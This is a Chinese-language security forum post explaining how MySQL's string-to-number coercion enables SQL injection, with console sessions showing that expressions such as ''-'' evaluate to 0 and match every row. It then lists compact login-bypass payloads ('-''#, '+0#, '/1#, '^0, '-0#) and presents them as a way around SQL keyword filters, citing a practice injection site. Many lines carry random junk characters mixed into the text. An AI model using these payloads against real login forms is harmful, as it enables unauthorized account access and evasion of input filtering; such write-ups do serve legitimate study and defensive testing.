找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2117|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。9 i% T6 h$ q+ C! i1 R
有以下表结构: ( _5 [  q4 M% e

; r* F% L) H: u2 z1 D" Jmysql> desc admin;
6 U, X  v" O7 l/ N1 m1 x( L+----------+--------------+------+-----+---------+----------------+9 o6 l: a  `& `0 a# \, S: V! V7 \2 ?
| Field    | Type         | Null | Key | Default | Extra          |- r* I# P( m: j+ I6 |. m! [0 g
+----------+--------------+------+-----+---------+----------------+, Y8 y/ {2 X1 U0 S  T0 y" T
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |! u/ }- [$ h5 b$ y' j! |
| name     | char(32)     | NO   | UNI | NULL    |                |
! H, U! t0 I" m) {6 o% I3 D5 U| password | char(32)     | NO   | UNI | NULL    |                |
! N6 j/ S2 {! p+----------+--------------+------+-----+---------+----------------+
7 l  H& @5 a4 u% F1 \* U: h- l3 rows in set (0.00 sec)
% u+ K8 K, b2 H* g7 U: d执行select * from admin;,成功返回所有记录内容。
. w' c8 K( P% m& F" v& S% v9 P* X  x5 y! X6 C
4 o+ m; K8 Y/ F9 ^+ x
+----+--------+----------------------------------+
" X2 C$ ?, R! ~* ]; u| id | name   | password                         |
1 `2 `$ b# e! Q1 q% J+----+--------+----------------------------------+
# W' r  I5 D2 |( s9 P|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |1 c' {, _' ?8 U0 A8 I
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; F9 Y+ M$ t8 e; G
|  4 | n00b   | ff80e8508d39047460921792273533a4 |# ~3 y; m- B8 J9 u5 s
+----+--------+----------------------------------+) T0 {; K7 [9 c7 ~6 ^, q0 t# _, {" [5 n
3 rows in set (0.00 sec)4 B$ x% H2 z+ }, x; v7 _
执行select * from admin where name=”;,没有匹配到任何记录。
" J. l6 t% \( l7 w2 O) D6 x; E2 m5 Y
mysql> select * from admin where name = '';2 r# \( L) u# h: b/ G* `
Empty set (0.00 sec)2 `" O6 U% ^. y2 ^, S+ h) |
那么我们来执行select * from admin where name = ”-”;. _7 j- I/ i; g8 H0 n2 D

  I' Z' r* N1 z# c
1 ]2 ?$ a7 Q% {1 H# x; L, o+----+--------+----------------------------------++ k0 Q) ^! D$ f1 d# y
| id | name   | password                         |' b! Z, G* {' x- u2 v
+----+--------+----------------------------------+
" x5 S& k' P! K! R|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
) `2 ?% \/ V- j& o$ p|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |, F* K- V) j/ q2 P) R( `
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
$ e9 ^  Q; g' I/ J/ z  {+----+--------+----------------------------------+
" J/ @1 t4 D$ y+ ~, x; l3 rows in set, 3 warnings (0.00 sec)/ O1 {7 j9 T! o% Z3 M5 W3 X
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
. b5 y. x3 H% ?: C: `8 ?0 {8 S+ h. P( i) a% [. y
mysql> show warnings;/ C% x+ s0 I3 I
+---------+------+------------------------------------------4 v( A+ d0 V. e: N
| Level   | Code | Message
6 F. T  T: X$ o% \! N3 V+---------+------+------------------------------------------
" h6 Z. J2 L: m* k' [7 \| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
& T% V' {$ {, u5 @| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s2 Q2 k0 a  x, c5 H1 i7 f
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b# _$ h) `. ~: ~
+---------+------+------------------------------------------! ?: k* e/ D7 K% h9 p5 S
3 rows in set (0.00 sec)8 w$ k/ g$ `( I7 W0 F1 [: f' F
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 3 o$ i7 r$ f, p$ E0 m
0 u/ @1 U3 I% x: n' v4 Y
mysql> select ''-'';
- i6 n) t, B7 Q* L5 o+-------++ A/ Q+ U( D* v1 i& J
| ''-'' |" _/ S' K  Y! d3 A$ J8 i
+-------+
/ o7 c* x9 c/ K- w( Z. ^|     0 |& u, x1 {6 v! j
+-------+
6 w/ i3 H& X% m* J, y, p1 row in set (0.00 sec)
' v( C& W: ?. _返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 0 F! @( X6 O* ~# N4 p7 y
2 T2 J3 s9 c" A7 p( B" A" T
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);3 b1 l8 q, Q2 |4 {8 J5 [% f& y
+-----------------------------------------------------+* s. H" c" p! w% V; k
| CAST((select name from admin limit 1,1) as DECIMAL) |
, \( m; z& l( f+ T% `" w  k* F8 O+-----------------------------------------------------+4 t4 Z" U- s5 A, q
|                                                   0 |
: y+ @- X* K; u4 |" _( j$ P% O5 D+-----------------------------------------------------+3 a! a( w; Y3 _
1 row in set, 1 warning (0.00 sec)
; F3 A- V1 f) [; V! w; ^1 O# j: ~因此where语句构成了相等的条件,where 0=”=”,记录被返回。 $ j* E4 a7 C- p/ B) N
! l6 K$ H  \1 j" x0 I# l' e$ {
SQL注入场景: http://www.sqlzoo.net/hack/
$ \$ T" m2 _, f4 h9 k, E' x
% D3 r9 h& h6 o2 I7 `8 u# c; T% a/ C. n5 x/ Y8 [4 K

( @9 P) l& B( q
7 h5 d- q8 n$ _$ [$ f, [3 h如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
# E- c# _$ j8 Q5 L; }& d5 B+ x: x1 x+ {- u
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
4 f! X: t& t* s  N; C0 F
5 F" A" Y' x5 N: V! C; }+ h5 g1 M% q' e$ F8 I$ a8 d2 W5 q: X
" y* C2 q7 @8 t" M
" k% R2 X3 [) e" S8 e9 O
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
, C( G0 c" }. M$ e" y0 I: E% y( [# J
   ' @' c$ N; ]. R

: G" O, k1 S  C; b8 x除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
, V4 I2 i6 h5 T4 M; r  g/ f+ }0 s8 T2 L$ s; K7 b" [

. L0 c* G- T7 S# E: z4 f2 Fmysql> select ''/1;$ F' |" D: z0 d; `+ Z: a
+------+
& Y. H& z: s+ y: E- [| ''/1 |& t5 @" v: Q* x; W5 \& h6 A
+------+
+ f8 |+ s: v7 m) G; G|    0 |
4 p/ w4 i1 Y7 B- z( U+------+
0 a: f1 n/ e  b4 R1 row in set (0.00 sec)
  V) \8 S  B+ _3 B, c1 p) ], q9 L7 r类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
5 e9 x5 m2 T; n' j7 m5 P# o+ `6 i+ U' `7 V) y
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
, r7 Z) m8 F6 n0 |* H/ `0 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表